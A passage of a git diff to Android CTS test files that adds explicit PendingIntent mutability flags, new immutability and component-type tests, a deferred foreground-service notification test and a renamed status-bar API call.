-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(bubbleIntent,
                 Icon.createWithResource(mContext, 1))
diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index b0226c9..e3c5e8a 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -18,6 +18,7 @@
 
 import android.app.PendingIntent;
 import android.app.PendingIntent.CanceledException;
+import android.app.stubs.MockActivity;
 import android.app.stubs.MockReceiver;
 import android.app.stubs.MockService;
 import android.app.stubs.PendingIntentStubActivity;
@@ -25,6 +26,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.ResolveInfo;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
@@ -32,8 +34,10 @@
 import android.os.Parcel;
 import android.os.SystemClock;
 import android.test.AndroidTestCase;
-import android.util.Log;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -143,7 +147,7 @@
         mIntent.setClass(mContext, PendingIntentStubActivity.class);
         mIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         assertEquals(mContext.getPackageName(), mPendingIntent.getTargetPackage());
 
         mPendingIntent.send();
@@ -155,13 +159,20 @@
         // test getActivity return null
         mPendingIntent.cancel();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_NO_CREATE);
+                PendingIntent.FLAG_NO_CREATE | PendingIntent.FLAG_IMMUTABLE);
         assertNull(mPendingIntent);
 
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         pendingIntentSendError(mPendingIntent);
+
+        try {
+            mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_MUTABLE);
+            fail("Shouldn't accept both FLAG_IMMUTABLE and FLAG_MUTABLE for the PendingIntent");
+        } catch (IllegalArgumentException expected) {
+        }
     }
 
     private void pendingIntentSendError(PendingIntent pendingIntent) {
@@ -182,7 +193,7 @@
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -192,13 +203,20 @@
         // test getBroadcast return null
         mPendingIntent.cancel();
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_NO_CREATE);
+                PendingIntent.FLAG_NO_CREATE | PendingIntent.FLAG_IMMUTABLE);
         assertNull(mPendingIntent);
 
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         pendingIntentSendError(mPendingIntent);
+
+        try {
+            mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_MUTABLE);
+            fail("Shouldn't accept both FLAG_IMMUTABLE and FLAG_MUTABLE for the PendingIntent");
+        } catch (IllegalArgumentException expected) {
+        }
     }
 
     // Local receiver for examining delivered broadcast intents
@@ -243,7 +261,7 @@
         Intent intent = new Intent(BROADCAST_ACTION);
         intent.putExtra(EXTRA_NAME, EXTRA_1);
 
-        pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+        pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_IMMUTABLE);
 
         try {
             br.reset();
@@ -256,7 +274,7 @@
 
             // Repeat PendingIntent.getBroadcast() *without* UPDATE_CURRENT, so we expect
             // the underlying Intent to still be the initial one with EXTRA_1
-            pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+            pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_IMMUTABLE);
             br.reset();
             pi.send();
             assertTrue(br.waitForReceipt());
@@ -264,7 +282,8 @@
 
             // This time use UPDATE_CURRENT, and expect to get the updated extra when the
             // PendingIntent is sent
-            pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+            pi = PendingIntent.getBroadcast(context, 0, intent,
+                    PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
             br.reset();
             pi.send();
             assertTrue(br.waitForReceipt());
@@ -280,7 +299,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -290,13 +309,20 @@
         // test getService return null
         mPendingIntent.cancel();
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_NO_CREATE);
+                PendingIntent.FLAG_NO_CREATE | PendingIntent.FLAG_IMMUTABLE);
         assertNull(mPendingIntent);
 
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         pendingIntentSendError(mPendingIntent);
+
+        try {
+            mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_MUTABLE);
+            fail("Shouldn't accept both FLAG_IMMUTABLE and FLAG_MUTABLE for the PendingIntent");
+        } catch (IllegalArgumentException expected) {
+        }
     }
 
     public void testStartServiceOnFinishedHandler() throws InterruptedException, CanceledException {
@@ -305,7 +331,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send(mContext, 1, null, mFinish, null);
 
@@ -322,7 +348,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send(mContext, 1, null, mFinish, mHandler);
 
@@ -340,7 +366,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -363,7 +389,7 @@
         mIntent.setAction(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -381,7 +407,7 @@
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         // send result code 1.
         mPendingIntent.send(1);
@@ -413,7 +439,8 @@
 
         MockReceiver.prepareReceive(null, 0);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send(mContext, 1, null);
         MockReceiver.waitForReceive(WAIT_TIME);
@@ -422,7 +449,8 @@
         assertEquals(1, MockReceiver.sResultCode);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
 
         mPendingIntent.send(mContext, 2, mIntent);
@@ -437,7 +465,8 @@
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
 
@@ -451,7 +480,8 @@
         assertEquals(1, MockReceiver.sResultCode);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
 
@@ -467,7 +497,8 @@
 
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         mPendingIntent.send(3, mFinish, mHandler);
         waitForFinish(WAIT_TIME);
         assertTrue(mHandleResult);
@@ -485,7 +516,8 @@
         mIntent.setAction(MockReceiver.MOCKACTION);
         mIntent.setClass(getContext(), MockReceiver.class);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, null, null);
@@ -496,7 +528,8 @@
         assertEquals(MockReceiver.MOCKACTION, MockReceiver.sAction);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, null);
@@ -507,7 +540,8 @@
         assertEquals(MockReceiver.MOCKACTION, MockReceiver.sAction);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, mHandler);
@@ -528,7 +562,8 @@
         mIntent = new Intent(BAD_ACTION);
         mIntent.setAction(BAD_ACTION);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, null);
@@ -539,7 +574,8 @@
         assertNull(MockReceiver.sAction);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, mHandler);
@@ -554,32 +590,45 @@
     public void testGetTargetPackage() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         assertEquals(mContext.getPackageName(), mPendingIntent.getTargetPackage());
     }
 
+    public void testIsImmutable() {
+        mIntent = new Intent();
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(mPendingIntent.isImmutable());
+
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE);
+        assertFalse(mPendingIntent.isImmutable());
+    }
+
     public void testEquals() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         PendingIntent target = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         assertFalse(mPendingIntent.equals(target));
         assertFalse(mPendingIntent.hashCode() == target.hashCode());
-        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
 
-        target = PendingIntent.getActivity(mContext, 1, mIntent, 1);
+        target = PendingIntent.getActivity(mContext, 1, mIntent, 1 | PendingIntent.FLAG_IMMUTABLE);
         assertTrue(mPendingIntent.equals(target));
 
         mIntent = new Intent(MockReceiver.MOCKACTION);
-        target = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        target = PendingIntent.getBroadcast(mContext, 1, mIntent, 1 | PendingIntent.FLAG_IMMUTABLE);
         assertFalse(mPendingIntent.equals(target));
         assertFalse(mPendingIntent.hashCode() == target.hashCode());
 
-        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent, 1);
-        target = PendingIntent.getActivity(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
+        target = PendingIntent.getActivity(mContext, 1, mIntent, 1 | PendingIntent.FLAG_IMMUTABLE);
 
         assertTrue(mPendingIntent.equals(target));
         assertEquals(mPendingIntent.hashCode(), target.hashCode());
@@ -588,7 +637,7 @@
     public void testDescribeContents() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         final int expected = 0;
         assertEquals(expected, mPendingIntent.describeContents());
     }
@@ -596,7 +645,7 @@
     public void testWriteToParcel() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         Parcel parcel = Parcel.obtain();
 
         mPendingIntent.writeToParcel(parcel, 0);
@@ -608,7 +657,7 @@
     public void testReadAndWritePendingIntentOrNullToParcel() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         assertNotNull(mPendingIntent.toString());
 
         Parcel parcel = Parcel.obtain();
@@ -625,4 +674,88 @@
         assertNull(target);
     }
 
+    public void testGetIntentComponentAndType() {
+        Intent broadcastReceiverIntent = new Intent(MockReceiver.MOCKACTION);
+        broadcastReceiverIntent.setClass(mContext, MockReceiver.class);
+        PendingIntent broadcastReceiverPI = PendingIntent.getBroadcast(mContext, 1,
+                broadcastReceiverIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(broadcastReceiverPI.isBroadcast());
+        assertFalse(broadcastReceiverPI.isActivity());
+        assertFalse(broadcastReceiverPI.isForegroundService());
+        assertFalse(broadcastReceiverPI.isService());
+
+        List<ResolveInfo> broadcastReceiverResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(broadcastReceiverPI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (broadcastReceiverResolveInfos != null && broadcastReceiverResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = broadcastReceiverResolveInfos.get(0);
+            assertNotNull(resolveInfo.activityInfo);
+            assertEquals(MockReceiver.class.getPackageName(), resolveInfo.activityInfo.packageName);
+            assertEquals(MockReceiver.class.getName(), resolveInfo.activityInfo.name);
+        } else {
+            fail("Cannot resolve broadcast receiver pending intent");
+        }
+
+        Intent activityIntent = new Intent();
+        activityIntent.setClass(mContext, MockActivity.class);
+        PendingIntent activityPI = PendingIntent.getActivity(mContext, 1,
+                activityIntent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(activityPI.isActivity());
+        assertFalse(activityPI.isBroadcast());
+        assertFalse(activityPI.isForegroundService());
+        assertFalse(activityPI.isService());
+
+        List<ResolveInfo> activityResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(activityPI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (activityResolveInfos != null && activityResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = activityResolveInfos.get(0);
+            assertNotNull(resolveInfo.activityInfo);
+            assertEquals(MockActivity.class.getPackageName(), resolveInfo.activityInfo.packageName);
+            assertEquals(MockActivity.class.getName(), resolveInfo.activityInfo.name);
+        } else {
+            fail("Cannot resolve activity pending intent");
+        }
+
+        Intent serviceIntent = new Intent();
+        serviceIntent.setClass(mContext, MockService.class);
+        PendingIntent servicePI = PendingIntent.getService(mContext, 1, serviceIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(servicePI.isService());
+        assertFalse(servicePI.isActivity());
+        assertFalse(servicePI.isBroadcast());
+        assertFalse(servicePI.isForegroundService());
+
+        List<ResolveInfo> serviceResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(servicePI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (serviceResolveInfos != null && serviceResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = serviceResolveInfos.get(0);
+            assertNotNull(resolveInfo.serviceInfo);
+            assertEquals(MockService.class.getPackageName(), resolveInfo.serviceInfo.packageName);
+            assertEquals(MockService.class.getName(), resolveInfo.serviceInfo.name);
+        } else {
+            fail("Cannot resolve service pending intent");
+        }
+
+        PendingIntent foregroundServicePI = PendingIntent.getForegroundService(mContext, 1,
+                serviceIntent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(foregroundServicePI.isForegroundService());
+        assertFalse(foregroundServicePI.isActivity());
+        assertFalse(foregroundServicePI.isBroadcast());
+        assertFalse(foregroundServicePI.isService());
+
+        List<ResolveInfo> foregroundServiceResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(foregroundServicePI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (foregroundServiceResolveInfos != null && foregroundServiceResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = serviceResolveInfos.get(0);
+            assertNotNull(resolveInfo.serviceInfo);
+            assertEquals(MockService.class.getPackageName(), resolveInfo.serviceInfo.packageName);
+            assertEquals(MockService.class.getName(), resolveInfo.serviceInfo.name);
+        } else {
+            fail("Cannot resolve foreground service pending intent");
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
index 8d1ab70..6a84d88 100644
--- a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
+++ b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
@@ -48,7 +48,7 @@
     }
 
     private RecoverableSecurityException build() {
-        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), 0);
+        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RecoverableSecurityException(new SecurityException("foo"), "bar",
                 new RemoteAction(Icon.createWithFilePath("/dev/null"), "title", "content", pi));
     }
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 792ef5d..a8c80a1 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -16,6 +16,11 @@
 
 package android.app.cts;
 
+import static android.app.stubs.LocalForegroundService.COMMAND_START_FOREGROUND;
+import static android.app.stubs.LocalForegroundService.COMMAND_START_FOREGROUND_DEFER_NOTIFICATION;
+import static android.app.stubs.LocalForegroundService.COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION;
+import static android.app.stubs.LocalForegroundService.COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION;
+
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.Notification;
@@ -52,8 +57,8 @@
 import android.util.Log;
 import android.util.SparseArray;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
@@ -911,14 +916,13 @@
         try {
             // Start service as foreground - it should show notification #1
             mExpectedServiceState = STATE_START_1;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
             // Stop foreground without removing notification - it should still show notification #1
             mExpectedServiceState = STATE_START_2;
-            startForegroundService(
-                    LocalForegroundService.COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION);
+            startForegroundService(COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION);
             waitForResultOrThrow(DELAY, "service to stop foreground");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -929,7 +933,7 @@
 
             // Start service as foreground again - it should kill notification #1 and show #2
             mExpectedServiceState = STATE_START_3;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start foreground 2nd time");
             assertNoNotification(1);
             assertNotification(2, LocalForegroundService.getNotificationTitle(2));
@@ -964,7 +968,7 @@
             // Start service as foreground - it should show notification #1
             Log.d(TAG, "Expecting first start state...");
             mExpectedServiceState = STATE_START_1;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -983,7 +987,7 @@
 
             // Start service as foreground again - it should show notification #2
             mExpectedServiceState = STATE_START_3;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start as foreground 2nd time");
             assertNotification(2, LocalForegroundService.getNotificationTitle(2));
 
@@ -1062,14 +1066,13 @@
 
             // Start service as foreground - it should show notification #1
             mExpectedServiceState = STATE_START_1;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
             // Detaching notification
             mExpectedServiceState = STATE_START_2;
-            startForegroundService(
-                    LocalForegroundService.COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION);
+            startForegroundService(COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION);
             waitForResultOrThrow(DELAY, "service to stop foreground");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -1080,7 +1083,7 @@
 
             // Start service as foreground again - it should show notification #2..
             mExpectedServiceState = STATE_START_3;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start as foreground 2nd time");
             assertNotification(2, LocalForegroundService.getNotificationTitle(2));
             //...but keeping notification #1
@@ -1105,6 +1108,30 @@
         assertNoNotification(2);
     }
 
+    public void testForegroundService_deferredNotification() throws Exception {
+        mExpectedServiceState = STATE_START_1;
+        startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
+        waitForResultOrThrow(DELAY, "service to start with deferred notification");
+        assertNoNotification(1);
+
+        // Wait ten seconds
+        final long stopTime = SystemClock.uptimeMillis() + 10_000L;
+        while (SystemClock.uptimeMillis() < stopTime) {
+            try {
+                Thread.sleep(1000L);
+            } catch (InterruptedException e) {
+                /* ignore */
+            }
+        }
+
+        // And verify that the notification is now visible
+        assertNotification(1, LocalForegroundService.getNotificationTitle(1));
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalForegroundService);
+        waitForResultOrThrow(DELAY, "service to be destroyed");
+    }
+
     class TestSendCallback implements PendingIntent.OnFinished {
         public volatile int result = -1;
 
@@ -1121,8 +1148,8 @@
         boolean success = false;
 
         PendingIntent pi = PendingIntent.getForegroundService(mContext, 1,
-                foregroundServiceIntent(LocalForegroundService.COMMAND_START_FOREGROUND),
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                foregroundServiceIntent(COMMAND_START_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         TestSendCallback callback = new TestSendCallback();
 
         try {
diff --git a/tests/app/src/android/app/cts/StatusBarManagerTest.java b/tests/app/src/android/app/cts/StatusBarManagerTest.java
index fc2f16e..65c933d 100644
--- a/tests/app/src/android/app/cts/StatusBarManagerTest.java
+++ b/tests/app/src/android/app/cts/StatusBarManagerTest.java
@@ -18,31 +18,32 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
-import android.Manifest;
 import android.app.StatusBarManager;
 import android.app.StatusBarManager.DisableInfo;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class StatusBarManagerTest {
+    private static final String PERMISSION_STATUS_BAR = "android.permission.STATUS_BAR";
 
     private StatusBarManager mStatusBarManager;
     private Context mContext;
+    private UiAutomation mUiAutomation;
 
     private boolean isWatch() {
         return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
@@ -58,17 +59,19 @@
         assumeFalse("Status bar service not supported", isWatch());
         mStatusBarManager = (StatusBarManager) mContext.getSystemService(
                 Context.STATUS_BAR_SERVICE);
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity("android.permission.STATUS_BAR");
+        mUiAutomation = getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSION_STATUS_BAR);
     }
 
     @After
     public void tearDown() {
 
         if (mStatusBarManager != null) {
+            // Adopt again since tests could've dropped it
+            mUiAutomation.adoptShellPermissionIdentity(PERMISSION_STATUS_BAR);
             mStatusBarManager.setDisabledForSetup(false);
         }
-        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        mUiAutomation.dropShellPermissionIdentity();
     }
 
 
@@ -109,7 +112,7 @@
 
     @Test
     public void testDisableForSimLock_setDisabledTrue() throws Exception {
-        mStatusBarManager.setDisabledForSimNetworkLock(true);
+        mStatusBarManager.setExpansionDisabledForSimNetworkLock(true);
 
         // Check for the default set of disable flags
         assertTrue(mStatusBarManager.getDisableInfo().isStatusBarExpansionDisabled());
@@ -118,10 +121,27 @@
     @Test
     public void testDisableForSimLock_setDisabledFalse() throws Exception {
         // First disable, then re-enable
-        mStatusBarManager.setDisabledForSimNetworkLock(true);
-        mStatusBarManager.setDisabledForSimNetworkLock(false);
+        mStatusBarManager.setExpansionDisabledForSimNetworkLock(true);
+        mStatusBarManager.setExpansionDisabledForSimNetworkLock(false);
 
